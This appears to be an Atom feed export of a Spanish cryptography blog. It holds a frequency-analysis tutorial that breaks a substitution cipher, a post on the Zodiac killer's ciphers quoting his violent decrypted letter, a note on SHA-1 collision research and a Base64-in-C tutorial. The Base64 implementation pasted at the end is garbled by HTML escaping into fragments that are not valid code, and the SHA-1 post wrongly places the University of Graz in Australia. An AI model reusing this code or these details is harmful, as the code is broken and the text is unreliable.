for(;it!=freq.end(); it++)&lt;br /&gt;    {&lt;br /&gt;       if((*it).second&amp;gt;1)&lt;br /&gt;       {&lt;br /&gt;          count ++;&lt;br /&gt;  &lt;br /&gt;          cout &amp;lt;&amp;lt; (*it).first &amp;lt;&amp;lt; ": " &amp;lt;&amp;lt; (*it).second &amp;lt;&amp;lt; "\t";&lt;br /&gt;&lt;br /&gt;          if(count%6==0)&lt;br /&gt;          cout &amp;lt;&amp;lt; endl;&lt;br /&gt;       }&lt;br /&gt;    }&lt;br /&gt;    cout &amp;lt;&amp;lt; endl;&lt;br /&gt; }&lt;br /&gt;}&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;Partiendo del programa y del un fichero con el texto cifrado "cipher.txt" realizamos el analisis de frecuencias:&lt;br /&gt;&lt;br /&gt;&lt;pre&gt;&lt;br /&gt;$ g++ freq.cpp&lt;br /&gt;$ ./a.out cipher.txt 3&lt;br /&gt;-- FREQ SIZE 1 --&lt;br /&gt;!: 4    #: 7    %: 3    1: 6    2: 10   3: 3&lt;br /&gt;4: 2    5: 6    6: 6    &gt;: 3    ?: 2    _: 6&lt;br /&gt;|: 3&lt;br /&gt;&lt;br /&gt;-- FREQ SIZE 2 --&lt;br /&gt;15: 2   16: 3   2&gt;: 3   3#: 3   5|: 2   6_: 2&lt;br /&gt;&gt;2: 2   |2: 2&lt;br /&gt;&lt;br /&gt;-- FREQ SIZE 3 --&lt;br /&gt;16_: 2  2&gt;2: 2&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;Si observamos el análisis de frecuencias podemos ver que los símbolos que más se repiten son '2' y '#', seguidos de '_', '1', '5' y '6'. Por lo que siguiendo la distribución de porcentajes frecuentes es probable que se correspondan con las letras 'a', 'e', 'i', etc.&lt;br /&gt;Es importante tener en cuenta que esto solo nos da una pista de cuál podría ser el valor de cada símbolo, pero no nos lo dice de forma exacta. Por este motivo será necesario probar varias hipótesis.&lt;br /&gt;&lt;br /&gt;Empezaremos suponiendo que '2' corresponde a 'e' y '#' corresponde a 'a'. Si nuestra hipótesis falla, continuaremos probando al revés.&lt;br /&gt;Sustituimo en el texto cifrado:&lt;br /&gt;&lt;pre&gt;&lt;br /&gt;3A 16_@!5?6A=_A E&gt; E3 A6!E |E E&gt;16_$_6 15% 13A7E &gt;E16E!A 5 |E /% 45|5 E%_?4A!_15&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;Observando el principio del texto cifrado "3A" y la cuarta palabra "E3" deducimos que '3' corresponde a la letra 'L'. Sustituimos de nuevo.&lt;br /&gt;&lt;br /&gt;&lt;pre&gt;LA 16_@!5?6A=_A E&gt; EL A6!E |E E&gt;16_$_6 15% 1LA7E &gt;E16E!A 5 |E /% 45|5 E%_?4A!_15&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;También pueden resultar buenas pistas la tercera palabra "E&gt;" y la sexta "|E". Estas nos indican que "&gt;" podría corresponder a 'S' o 'N', y '|' probablemente corresponderá a 'D'. Vea la frecuencia de grupos de dos letras.&lt;br /&gt;Además, si nos basamos en las suposiciones anterioriores, el grupo '/%' que corresponde a una palabra de dos letras que no contiene ni 'A' ni 'E'. Será pues una de las siguientes: NO, UN, SU, LO, SI, MI, ...&lt;br /&gt;&lt;br /&gt;También es una buena pista el '5' solitario, que muy probablemente corresponderá a una 'y' o una 'o'. Pero viendo en la octava palabra '15%' deducimos que dificilmente corresponderá a una 'Y'.&lt;br /&gt;&lt;br /&gt;En base a las observaciones anteriores, una buena hipotesis podría corresponder a las siguientes sustituciones: '5' por 'o', '|' por 'D' y '&gt;' por 'S'.&lt;br /&gt;&lt;pre&gt;&lt;br /&gt;LA 16_@!O?6A=_A ES EL A6!E DE ES16_$_6 1O% 1LA7E SE16E!A O DE /% 4ODO E%_?4A!_1O&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;Llegados a este punto, más de unos sería capaz de resolver el mensaje utilizando solamente su imaginación. Pero en lugar de dar la solución, vamos a explorar otra técnica interesante. Esta corresponde a atacar las palabras sin descifrar con un diccionario. Como ejemplo usaremos una lista de palabras en castellano que se puede descargar de:&lt;br /&gt;&lt;br /&gt;&lt;a href="http://lemarios.olea.org/lemario-espanol-2002-10-25.txt.gz"&gt;http://lemarios.olea.org/lemario-espanol-2002-10-25.txt.gz&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;NOTA: Esta lista contiene acentos y ñ, que es recomendable sustituir para poder seguir los siguientes pasos.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Después de descargar y descomprimir la lista de palabras estudiemos que opciones tenemos para acabar de descifrar el mensaje. Una palabra que tiene posibilidades es '1LA7E', una palabra de 5 letras de las cuales conocemos tres. Tambien es interesante atacar la palabra que viene a continuación 'SE16E!A'.&lt;br /&gt;&lt;br /&gt;Podemos hacerlo con dos sencillos comandos grep:&lt;br /&gt;&lt;pre&gt;&lt;br /&gt;$ grep "^.la.e$" lemario-espanol-2002-10-25.txt&lt;br /&gt;alabe&lt;br /&gt;clase&lt;br /&gt;clave&lt;br /&gt;glase&lt;br /&gt;llave&lt;br /&gt;olaje&lt;br /&gt;$ grep "^se..e.a$" lemario-espanol-2002-10-25.txt&lt;br /&gt;secreta&lt;br /&gt;secuela&lt;br /&gt;segueta&lt;br /&gt;septena&lt;br /&gt;serreta&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;Sin duda, las palabras que buscamos son "CLAVE SECRETA". Así que continuamos con la sustitución:&lt;br /&gt;&lt;pre&gt;&lt;br /&gt;LA CR_@TO?RA=_A ES EL ARTE DE ESCR_$_R CO% CLAVE SECRETA O DE /% 4ODO E%_?4AT_CO&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;La última palabra puede confundirnos, pero está claro cuál es la segunda. En cualquier caso:&lt;br /&gt;&lt;pre&gt;&lt;br /&gt;$ grep "^cr..to.ra..a$" lemario-espanol-2002-10-25.txt&lt;br /&gt;criptografia.&lt;br /&gt;$ grep "^e....at.co$" lemario-espanol-2002-10-25.txt&lt;br /&gt;enigmatico&lt;br /&gt;enzimatico&lt;br /&gt;estomatico&lt;br /&gt;&lt;br /&gt;&lt;/pre&gt;Con lo que la resolución del mensaje es trivial:&lt;br /&gt;&lt;br /&gt;"La criptografia es el arte de escribir con clave secreta o de un modo enigmatico"&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Finalmente el mensaje ha quedado descifrado, pero hay que tener en cuenta que aquí no se han expuesto todas las posibilidades. Es normal, cuando se inicia el criptoanálisis, que se tomen algunas hipótesis incorrectas. En estos casos, no queda más remedio que volver a empezar.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Referencias:&lt;/span&gt;&lt;br /&gt;- Cryptanalysis a study of ciphers and their solution. Helen Fouché Gaines.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/5064908217201828351-4033251179945493238?l=h4ck1t.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://h4ck1t.blogspot.com/feeds/4033251179945493238/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=5064908217201828351&amp;postID=4033251179945493238' title='5 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5064908217201828351/posts/default/4033251179945493238'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5064908217201828351/posts/default/4033251179945493238'/><link rel='alternate' type='text/html' href='http://h4ck1t.blogspot.com/2007/09/criptoanlisis-anlisis-de-frecuencias.html' title='Criptoanálisis: Análisis de frecuencias'/><author><name>Daniel Lerch</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='//lh5.googleusercontent.com/-1QwcM6gjGYg/AAAAAAAAAAI/AAAAAAAAEkc/V2Z0ynWpHSA/s512-c/photo.jpg'/></author><thr:total>5</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5064908217201828351.post-244460190433609771</id><published>2007-08-26T13:07:00.000-07:00</published><updated>2008-12-04T01:28:25.779-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Enigmas'/><title type='text'>Los cifrados Zodiac</title><content type='html'>A finales de la década de los 60 un asesino en serie conocido como&lt;a href="http://en.wikipedia.org/wiki/Zodiac_Killer"&gt; Zodiac&lt;/a&gt; cometió varios asesinatos en el norte de California. Zodiac enviaba &lt;a href="http://www.zodiackiller.com/Letters.html"&gt;cartas&lt;/a&gt; a la prensa en tono desafiante, algunas de las cuales contenían ciertos criptogramas como el que se muestra a continuación:&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;div style="text-align: center;"&gt;&lt;span style="font-weight: bold;"&gt;340 Cipher&lt;/span&gt;&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;div style="text-align: justify;"&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://bp1.blogger.com/_q551Ajwo8ak/RtVHTEJWZVI/AAAAAAAAACk/7ycUTLODBik/s1600-h/340cipher.gif"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer;" src="http://bp1.blogger.com/_q551Ajwo8ak/RtVHTEJWZVI/AAAAAAAAACk/7ycUTLODBik/s400/340cipher.gif" alt="" id="BLOGGER_PHOTO_ID_5104064145550370130" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Tres cartas de Zodiac fueron recibidas por el &lt;span style="font-style: italic;"&gt;Vallejo Times Herald&lt;/span&gt;, el &lt;span style="font-style: italic;"&gt;San Francisco Chronicle&lt;/span&gt; y el &lt;span style="font-style: italic;"&gt;San Francisco Examiner&lt;/span&gt; el 1 de agosto de 1969. En ellas Zodiac se hacía responsable de tres asesinatos e incluía un criptograma que supuestamente contenía su identidad.   En dichas cartas se exigía su impresión en primera plana, o de lo contrario mataría a una docena de personas ese mismo fin de semana.&lt;br /&gt;&lt;br /&gt;El 8 de agosto de 1969, Donald y Bettye Harden descifraron el criptograma que debía contener la identidad de Zodiac. No era así.&lt;br /&gt;&lt;br /&gt;&lt;blockquote class="citado"&gt;&lt;div style="text-align: center;"&gt; &lt;/div&gt;&lt;p style="text-align: justify;"&gt;I LIKE KILLING PEOPLE BECAUSE IT IS SO MUCH FUN IT IS MORE FUN THAN KILLING WILD GAME IN THE FORREST BECAUSE MAN IS THE MOST DANGEROUS ANAMAL OF ALL TO KILL SOMETHING GIVES ME THE MOST THRILLING EXPERENCE IT IS EVEN BETTER THAN GETTING YOUR ROCKS OFF WITH A GIRL THE BEST PART OF IT IS THAT WHEN I DIE I WILL BE REBORN IN PARADICE AND ALL THE I HAVE KILLED WILL BECOME MY SLAVES I WILL NOT GIVE YOU MY NAME BECAUSE YOU WILL TRY TO SLOI DOWN OR STOP MY COLLECTING OF SLAVES FOR MY AFTERLIFE EBEORIETEMETHHPITI&lt;/p&gt; &lt;/blockquote&gt;&lt;br /&gt;&lt;br /&gt;&lt;div style="text-align: center;"&gt;&lt;span style="font-weight: bold;"&gt;Carta al Vallejo Times Herald&lt;/span&gt;&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://bp0.blogger.com/_q551Ajwo8ak/RtVQO0JWZWI/AAAAAAAAACs/dDnlleRwqag/s1600-h/timesheraldcipher.gif"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer;" src="http://bp0.blogger.com/_q551Ajwo8ak/RtVQO0JWZWI/AAAAAAAAACs/dDnlleRwqag/s400/timesheraldcipher.gif" alt="" id="BLOGGER_PHOTO_ID_5104073968140576098" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;div style="text-align: center; font-weight: bold;"&gt;Carta al &lt;span&gt;San Francisco Chronicle&lt;/span&gt;&lt;/div&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://bp2.blogger.com/_q551Ajwo8ak/RtVQUUJWZXI/AAAAAAAAAC0/Zhq6ndP2B3I/s1600-h/chroniclecipher.gif"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer;" src="http://bp2.blogger.com/_q551Ajwo8ak/RtVQUUJWZXI/AAAAAAAAAC0/Zhq6ndP2B3I/s400/chroniclecipher.gif" alt="" id="BLOGGER_PHOTO_ID_5104074062629856626" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;div style="text-align: center; font-weight: bold;"&gt;Carta al &lt;span&gt;San Francisco Examiner&lt;/span&gt;&lt;span&gt;&lt;/span&gt;&lt;/div&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://bp3.blogger.com/_q551Ajwo8ak/RtVQZkJWZYI/AAAAAAAAAC8/vha9GHK8VYk/s1600-h/examinercipher.gif"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer;" src="http://bp3.blogger.com/_q551Ajwo8ak/RtVQZkJWZYI/AAAAAAAAAC8/vha9GHK8VYk/s400/examinercipher.gif" alt="" id="BLOGGER_PHOTO_ID_5104074152824169858" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;La historia que rodea al asesino está llena de incógnitas, desde su identidad hasta la solución de ciertos criptogramas. Por ejemplo, el criptograma mostrado al principio, conocido como criptograma 340, continúa sin resolver.&lt;br /&gt;&lt;br /&gt;La reciente película "&lt;a href="http://www.imdb.com/title/tt0443706/"&gt;Zodiac&lt;/a&gt;" de &lt;a href="http://www.imdb.com/name/nm0000399/"&gt;David Fincher&lt;/a&gt; narra la historia de  este conocido asesino en serie.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/5064908217201828351-244460190433609771?l=h4ck1t.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://h4ck1t.blogspot.com/feeds/244460190433609771/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=5064908217201828351&amp;postID=244460190433609771' title='1 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5064908217201828351/posts/default/244460190433609771'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5064908217201828351/posts/default/244460190433609771'/><link rel='alternate' type='text/html' href='http://h4ck1t.blogspot.com/2007/08/los-cifrados-zodiac.html' title='Los cifrados Zodiac'/><author><name>Daniel Lerch</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='//lh5.googleusercontent.com/-1QwcM6gjGYg/AAAAAAAAAAI/AAAAAAAAEkc/V2Z0ynWpHSA/s512-c/photo.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://bp1.blogger.com/_q551Ajwo8ak/RtVHTEJWZVI/AAAAAAAAACk/7ycUTLODBik/s72-c/340cipher.gif' height='72' width='72'/><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5064908217201828351.post-6995252067216631040</id><published>2007-08-19T11:21:00.000-07:00</published><updated>2008-12-04T01:28:25.794-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Criptoanálisis'/><title type='text'>Buscando colisiones en SHA-1</title><content type='html'>&lt;div style="text-align: justify;"&gt;El &lt;a href="http://en.wikipedia.org/wiki/SHA-1"&gt;algoritmo SHA-1&lt;/a&gt; es uno de los algoritmos de hash más importantes, por ser ampliamente usado en criptografía. Su función como algoritmos de hash, consiste en aceptar una entrada de longitud arbitraria y retornar un resumen (digest) de una longitud fija.&lt;br /&gt;&lt;br /&gt;Entre las características principales de los algoritmos de hash destaca la necesidad de que las funciones sean de un solo sentido, es decir, que no se pueda obtener información de los datos origen a partir del resument resultado.&lt;br /&gt;Otra característica importante es la resistencia a las colisiones, pues no deben existir dos entradas que produzcan el mismo resumen resultado. Pero lo cierto es que esta última característica es inalcanzable, desde el momento en que la longitud de la entrada puede ser superior a la de la salida.&lt;br /&gt;&lt;br /&gt;Una forma de encontrar colisiones consiste en utilizar el ataque de cumpleaños o  &lt;a href="http://en.wikipedia.org/wiki/Birthday_attack"&gt;birthday attack&lt;/a&gt;, aunque este requiere 2^(n/2) operaciones de hash para encontrar una colisión. Impracticable en algoritmos como SHA-1.&lt;br /&gt;&lt;br /&gt;Otra forma de hacerlo consiste en usar un ataque dedicado a SHA-1 que intente explotar sus debilidadades. Cierto trabajo de este estilo puede encontrarse en &lt;a href="http://www.infosec.sdu.edu.cn/paper/Finding%20Collisions%20in%20the%20Full%20SHA-1.pdf"&gt; Finding Collisions in the Full SHA-1&lt;/a&gt;.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Por otra parte, la &lt;a href="http://www.tugraz.at/"&gt;Universidad de Graz&lt;/a&gt; (Australia) ha puesto en marcha un proyecto dedicado a encontrar &lt;a href="http://www.iaik.tugraz.at/research/krypto/collision/SHA1CollisionBasics.php"&gt;colisiones en SHA-1&lt;/a&gt;. Para tal propósito usa la plataforma distribuida de software libre &lt;a href="http://boinc.berkeley.edu/"&gt;BOINC&lt;/a&gt;, de la &lt;a href="http://www.berkeley.edu/"&gt;universidad de California en Berkeley&lt;/a&gt;. Esta plataforma permite usar los tiempos muertos de proceso para colaborar con el proyecto.&lt;br /&gt;&lt;br /&gt;En &lt;a href="http://www.kriptopolis.org/"&gt;Kriptopolis&lt;/a&gt;, han creado un equipo para participar en la búsqueda de colisiones. Puedes unirte a él &lt;a href="http://boinc.berkeley.edu/download_all.php"&gt;descargando el soft de BOINC&lt;/a&gt; y siguiento las &lt;a href="http://www.kriptopolis.org/boinc"&gt;instrucciones de instalación de Kriptopolis&lt;/a&gt;.&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/5064908217201828351-6995252067216631040?l=h4ck1t.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://h4ck1t.blogspot.com/feeds/6995252067216631040/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=5064908217201828351&amp;postID=6995252067216631040' title='2 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5064908217201828351/posts/default/6995252067216631040'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5064908217201828351/posts/default/6995252067216631040'/><link rel='alternate' type='text/html' href='http://h4ck1t.blogspot.com/2007/08/buscando-colisiones-en-sha-1.html' title='Buscando colisiones en SHA-1'/><author><name>Daniel Lerch</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='//lh5.googleusercontent.com/-1QwcM6gjGYg/AAAAAAAAAAI/AAAAAAAAEkc/V2Z0ynWpHSA/s512-c/photo.jpg'/></author><thr:total>2</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5064908217201828351.post-8248372891627800500</id><published>2007-07-28T11:45:00.000-07:00</published><updated>2008-12-04T01:28:25.126-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Criptografía'/><title type='text'>Codificación Base 64</title><content type='html'>&lt;div style="text-align: justify;"&gt;Base 64 en un sistema de codificación que permite representar datos binarios usando únicamente los caracteres imprimibles ASCII. Este sistema ha sido usado ampliamente para codificar los correos electrónicos, entre otras cosas.&lt;br /&gt;&lt;br /&gt;A continuación se muestra un ejemplo de codificación en Base 64.&lt;br /&gt;&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://bp1.blogger.com/_q551Ajwo8ak/RqnXpMIS9CI/AAAAAAAAACU/l9uanRVkQKQ/s1600-h/Base64.jpg"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer;" src="http://bp1.blogger.com/_q551Ajwo8ak/RqnXpMIS9CI/AAAAAAAAACU/l9uanRVkQKQ/s320/Base64.jpg" alt="" id="BLOGGER_PHOTO_ID_5091837956349686818" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;div style="text-align: justify;"&gt;&lt;br /&gt;Para usar Base 64 en C se puede optar por hacerlo a través de una librería como openssl o por implementar directamente el algoritmo. Veremos los dos casos.&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Base 64 y OpenSSL:&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;div style="text-align: justify;"&gt;Para usar Base 64 desde la librería OpenSSL debemos incluir la cabecera "openssl/evp.h". Las funciones que nos pemiten codificar y descodificar B64 son EVP_EncodeBlock() y EVP_DecodeBlock(), respectivamente.&lt;br /&gt;A continuación aparecen dos funciones: base64_encode() y base64_decode(). Ambas reciben como parámetro la cadena a codificar o descodificar y su longitud, y retornan una cadena con el resultado. Esta cadena apunta a una zona de memoria reservada con malloc(), por lo que queda en manos del programador liberarla.&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;&lt;pre name="code" class="Cpp"&gt;&lt;br /&gt;unsigned char *base64_encode (unsigned char *buffer, unsigned int len)&lt;br /&gt;{                                                                         &lt;br /&gt;unsigned char *ret = (unsigned char *) malloc ((((len+2)/3)*4)+1);&lt;br /&gt;EVP_EncodeBlock (ret, buffer, len);&lt;br /&gt;ret[(((len+2)/3)*4)] = 0;&lt;br /&gt;return ret;&lt;br /&gt;}&lt;br /&gt;                                                                  &lt;br /&gt;unsigned char *base64_decode (unsigned char *buffer, unsigned int *len)&lt;br /&gt;{                                                                         &lt;br /&gt;unsigned char *ret = (unsigned char *) malloc (((strlen(buffer)+3)/4)*3);&lt;br /&gt;*len = EVP_DecodeBlock (ret, buffer, strlen(buffer));&lt;br /&gt;return ret;&lt;br /&gt;}&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Una implementación de Base 64:&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Existen muchas implementaciones del algoritmo usado para codificar y descodificar en Base 64. A continuación pego una de Christophe Devine que se encuentra licenciada bajo GPL.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;pre name="code" class="Cpp"&gt;/**&lt;br /&gt;* \file base64.h&lt;br /&gt;*/&lt;br /&gt;#ifndef _BASE64_H&lt;br /&gt;#define _BASE64_H&lt;br /&gt;&lt;br /&gt;#ifdef __cplusplus&lt;br /&gt;extern "C" {&lt;br /&gt;#endif&lt;br /&gt;&lt;br /&gt;#define ERR_BASE64_BUFFER_TOO_SMALL             0x0010&lt;br /&gt;#define ERR_BASE64_INVALID_CHARACTER            0x0012&lt;br /&gt;&lt;br /&gt;/**&lt;br /&gt;* \brief          Encode a buffer into base64 format&lt;br /&gt;*&lt;br /&gt;* \param dst      destination buffer&lt;br /&gt;* \param dlen     size of the buffer (updated after call)&lt;br /&gt;* \param src      source buffer&lt;br /&gt;* \param slen     amount of data to be encoded&lt;br /&gt;*&lt;br /&gt;* \return         0 if successful, or ERR_BASE64_BUFFER_TOO_SMALL.&lt;br /&gt;*                 *dlen is always updated to reflect to amount of&lt;br /&gt;*                 data that was written (or would have been written)&lt;br /&gt;*&lt;br /&gt;* \note           Call this function with *dlen = 0 to obtain the&lt;br /&gt;*                 required buffer size in *dlen&lt;br /&gt;*/&lt;br /&gt;int base64_encode( unsigned char *dst, int *dlen,&lt;br /&gt;             unsigned char *src, int  slen );&lt;br /&gt;&lt;br /&gt;/**&lt;br /&gt;* \brief          Decode a base64-formatted buffer&lt;br /&gt;*&lt;br /&gt;* \param dst      destination buffer&lt;br /&gt;* \param dlen     size of the buffer (updated after call)&lt;br /&gt;* \param src      source buffer&lt;br /&gt;* \param slen     amount of data to be decoded&lt;br /&gt;*&lt;br /&gt;* \return         0 if successful, ERR_BASE64_BUFFER_TOO_SMALL, or&lt;br /&gt;*                 ERR_BASE64_INVALID_DATA if an invalid char is found.&lt;br /&gt;*                 *dlen is always updated to reflect to amount of&lt;br /&gt;*                 data that was written (or would have been written)&lt;br /&gt;*&lt;br /&gt;* \note           Call this function with *dlen = 0 to obtain the&lt;br /&gt;*                 required buffer size in *dlen&lt;br /&gt;*/&lt;br /&gt;int base64_decode( unsigned char *dst, int *dlen,&lt;br /&gt;             unsigned char *src, int  slen );&lt;br /&gt;&lt;br /&gt;/**&lt;br /&gt;* \brief          Checkup routine&lt;br /&gt;*&lt;br /&gt;* \return         0 if successful, or 1 if the test failed&lt;br /&gt;*/&lt;br /&gt;int base64_self_test( int verbose );&lt;br /&gt;&lt;br /&gt;#ifdef __cplusplus&lt;br /&gt;}&lt;br /&gt;#endif&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;/*&lt;br /&gt;*  RFC 1521 base64 encoding/decoding&lt;br /&gt;*&lt;br /&gt;*  Copyright (C) 2006-2007  Christophe Devine&lt;br /&gt;*&lt;br /&gt;*  This library is free software; you can redistribute it and/or&lt;br /&gt;*  modify it under the terms of the GNU Lesser General Public&lt;br /&gt;*  License, version 2.1 as published by the Free Software Foundation.&lt;br /&gt;*&lt;br /&gt;*  This library is distributed in the hope that it will be useful,&lt;br /&gt;*  but WITHOUT ANY WARRANTY; without even the implied warranty of&lt;br /&gt;*  MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU&lt;br /&gt;*  Lesser General Public License for more details.&lt;br /&gt;*&lt;br /&gt;*  You should have received a copy of the GNU Lesser General Public&lt;br /&gt;*  License along with this library; if not, write to the Free Software&lt;br /&gt;*  Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston,&lt;br /&gt;*  MA  02110-1301  USA&lt;br /&gt;*/&lt;br /&gt;&lt;br /&gt;#ifndef _CRT_SECURE_NO_DEPRECATE&lt;br /&gt;#define _CRT_SECURE_NO_DEPRECATE 1&lt;br /&gt;#endif&lt;br /&gt;&lt;br /&gt;#include "xyssl/base64.h"&lt;br /&gt;&lt;br /&gt;static const int base64_enc_map[64] =&lt;br /&gt;{&lt;br /&gt;'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J',&lt;br /&gt;'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T',&lt;br /&gt;'U', 'V', 'W', 'X', 'Y', 'Z', 'a', 'b', 'c', 'd',&lt;br /&gt;'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n',&lt;br /&gt;'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x',&lt;br /&gt;'y', 'z', '0', '1', '2', '3', '4', '5', '6', '7',&lt;br /&gt;'8', '9', '+', '/'&lt;br /&gt;};&lt;br /&gt;&lt;br /&gt;static const int base64_dec_map[128] =&lt;br /&gt;{&lt;br /&gt;127, 127, 127, 127, 127, 127, 127, 127, 127, 127,&lt;br /&gt;127, 127, 127, 127, 127, 127, 127, 127, 127, 127,&lt;br /&gt;127, 127, 127, 127, 127, 127, 127, 127, 127, 127,&lt;br /&gt;127, 127, 127, 127, 127, 127, 127, 127, 127, 127,&lt;br /&gt;127, 127, 127,  62, 127, 127, 127,  63,  52,  53,&lt;br /&gt;54,  55,  56,  57,  58,  59,  60,  61, 127, 127,&lt;br /&gt;127,  64, 127, 127, 127,   0,   1,   2,   3,   4,&lt;br /&gt;5,   6,   7,   8,   9,  10,  11,  12,  13,  14,&lt;br /&gt;15,  16,  17,  18,  19,  20,  21,  22,  23,  24,&lt;br /&gt;25, 127, 127, 127, 127, 127, 127,  26,  27,  28,&lt;br /&gt;29,  30,  31,  32,  33,  34,  35,  36,  37,  38,&lt;br /&gt;39,  40,  41,  42,  43,  44,  45,  46,  47,  48,&lt;br /&gt;49,  50,  51, 127, 127, 127, 127, 127&lt;br /&gt;};&lt;br /&gt;&lt;br /&gt;/*&lt;br /&gt;* Encode a buffer into base64 format&lt;br /&gt;*/&lt;br /&gt;int base64_encode( unsigned char *dst, int *dlen,&lt;br /&gt;             unsigned char *src, int  slen )&lt;br /&gt;{&lt;br /&gt;int i, n;&lt;br /&gt;int C1, C2, C3;&lt;br /&gt;unsigned char *p;&lt;br /&gt;&lt;br /&gt;if( slen == 0 )&lt;br /&gt;  return( 0 );&lt;br /&gt;&lt;br /&gt;n = ( slen &lt;&lt; dlen =" n" n =" (" i =" 0," p =" dst;" c1 =" *src++;" c2 =" *src++;" c3 =" *src++;"&gt;&gt; 2 ) &amp; 0x3F];&lt;br /&gt;  *p++ = base64_enc_map[((( C1 &amp;  3 ) &lt;&lt;&gt;&gt; 4 )) &amp;amp;amp;amp;amp;amp;amp; 0x3F];&lt;br /&gt;  *p++ = base64_enc_map[((( C2 &amp; 15 ) &lt;&lt;&gt;&gt; 6 )) &amp;amp;amp;amp;amp;amp;amp; 0x3F];&lt;br /&gt;  *p++ = base64_enc_map[C3 &amp; 0x3F];&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;if( i &lt; c1 =" *src++;" c2 =" ((i"&gt;&gt; 2 ) &amp; 0x3F];&lt;br /&gt;  *p++ = base64_enc_map[((( C1 &amp; 3 ) &lt;&lt;&gt;&gt; 